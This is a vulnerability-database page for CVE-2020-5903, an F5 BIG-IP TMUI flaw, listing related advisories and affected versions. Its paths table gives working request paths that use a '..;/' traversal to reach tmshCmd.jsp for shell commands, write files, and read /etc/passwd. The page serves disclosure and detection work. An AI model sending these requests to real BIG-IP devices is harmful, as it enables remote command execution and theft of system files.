Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

CVE-2020-5903

🗓️ 01 Jul 2020 14:42:00Reported by f5Type 
cve
 cve🔗 web.nvd.nist.gov👁 72 Views🌐 WEB

BIG-IP XSS vulnerability in undisclosed page

Related
Detection
Affected
Refs
Paths
ReporterTitlePublishedViews
Family
Circl		CVE-2020-5903
3 Jul 202017:08
–circl
CNVD		F5 BIG-IP Cross-Site Scripting Vulnerability (CNVD-2020-61639)
2 Jul 202000:00
–cnvd
Cvelist		CVE-2020-5903
1 Jul 202014:42
–cvelist
EUVD		EUVD-2020-27057
7 Oct 202500:30
–euvd
GithubExploit		Exploit for Cross-site Scripting in F5 Big-Ip_Access_Policy_Manager
25 Aug 202002:07
–githubexploit
F5 Networks		K43638305: BIG-IP TMUI XSS vulnerability CVE-2020-5903
21 Feb 202318:53
–f5
Tenable Nessus		F5 Networks BIG-IP : BIG-IP TMUI XSS vulnerability (K43638305)
1 Jul 202000:00
–nessus
NVD		CVE-2020-5903
1 Jul 202015:15
–nvd
OSV		CVE-2020-5903
1 Jul 202015:15
–osv
Prion		Cross site scripting
1 Jul 202015:15
–prion
Rows per page
NVD
Node
f5big-ip_access_policy_managerRange12.1.0–12.1.5
OR
f5big-ip_access_policy_managerRange13.1.0–13.1.3
OR
f5big-ip_access_policy_managerRange14.1.0–14.1.2
OR
f5big-ip_access_policy_managerRange15.0.0–15.1.0
OR
f5big-ip_advanced_firewall_managerRange12.1.0–12.1.5
OR
f5big-ip_advanced_firewall_managerRange13.1.0–13.1.3
OR
f5big-ip_advanced_firewall_managerRange14.1.0–14.1.2
OR
f5big-ip_advanced_firewall_managerRange15.0.0–15.1.0
OR
f5big-ip_analyticsRange12.1.0–12.1.5
OR
f5big-ip_analyticsRange13.1.0–13.1.3
OR
f5big-ip_analyticsRange14.1.0–14.1.2
OR
f5big-ip_analyticsRange15.0.0–15.1.0
OR
f5big-ip_application_acceleration_managerRange12.1.0–12.1.5
OR
f5big-ip_application_acceleration_managerRange13.1.0–13.1.3
OR
f5big-ip_application_acceleration_managerRange14.1.0–14.1.2
OR
f5big-ip_application_acceleration_managerRange15.0.0–15.1.0
OR
f5big-ip_application_security_managerRange12.1.0–12.1.5
OR
f5big-ip_application_security_managerRange13.1.0–13.1.3
OR
f5big-ip_application_security_managerRange14.1.0–14.1.2
OR
f5big-ip_application_security_managerRange15.0.0–15.1.0
OR
f5big-ip_domain_name_systemRange12.1.0–12.1.5
OR
f5big-ip_domain_name_systemRange13.1.0–13.1.3
OR
f5big-ip_domain_name_systemRange14.1.0–14.1.2
OR
f5big-ip_domain_name_systemRange15.0.0–15.1.0
OR
f5big-ip_fraud_protection_serviceRange12.1.0–12.1.5
OR
f5big-ip_fraud_protection_serviceRange13.1.0–13.1.3
OR
f5big-ip_fraud_protection_serviceRange14.1.0–14.1.2
OR
f5big-ip_fraud_protection_serviceRange15.0.0–15.1.0
OR
f5big-ip_global_traffic_managerRange12.1.0–12.1.5
OR
f5big-ip_global_traffic_managerRange13.1.0–13.1.3
OR
f5big-ip_global_traffic_managerRange14.1.0–14.1.2
OR
f5big-ip_global_traffic_managerRange15.0.0–15.1.0
OR
f5big-ip_link_controllerRange12.1.0–12.1.5
OR
f5big-ip_link_controllerRange13.1.0–13.1.3
OR
f5big-ip_link_controllerRange14.1.0–14.1.2
OR
f5big-ip_link_controllerRange15.0.0–15.1.0
OR
f5big-ip_local_traffic_managerRange12.1.0–12.1.5
OR
f5big-ip_local_traffic_managerRange13.1.0–13.1.3
OR
f5big-ip_local_traffic_managerRange14.1.0–14.1.2
OR
f5big-ip_local_traffic_managerRange15.0.0–15.1.0
OR
f5big-ip_policy_enforcement_managerRange12.1.0–12.1.5
OR
f5big-ip_policy_enforcement_managerRange13.1.0–13.1.3
OR
f5big-ip_policy_enforcement_managerRange14.1.0–14.1.2
OR
f5big-ip_policy_enforcement_managerRange15.0.0–15.1.0
[
  {
    "product": "BIG-IP",
    "vendor": "n/a",
    "versions": [
      {
        "status": "affected",
        "version": "15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1"
      }
    ]
  }
]
ParameterPositionPathDescriptionCWE
commandquery paramtmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+listRemote command execution via tmshCmd.jsp accepting shell commands
query paramtmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+listRemote command execution via tmshCmd.jsp accepting shell commands
commandquery paramtmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bashRemote command execution via tmshCmd.jsp accepting shell commands
fileNamequery paramtmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/WWWWW&content=idWrite arbitrary content to a file via fileSave.jsp
contentquery paramtmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/WWWWW&content=idWrite arbitrary content to a file via fileSave.jsp
commandquery paramtmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/WWWWWList directory via tmshCmd.jsp with crafted path
fileNamequery paramtmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdRead a local file via fileRead.jsp
directoryPathquery paramtmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/List files in a directory via directoryList.jsp
commandquery paramtmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+userList users via tmshCmd.jsp

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
21 Nov 2024 05:34Current
6.4Medium risk
Vulners AI Score6.4
CVSS 24.3
CVSS 3.16.1
EPSS0.09081
CWE-79
big-ipxssvulnerabilitynvdcve-2020-5903
72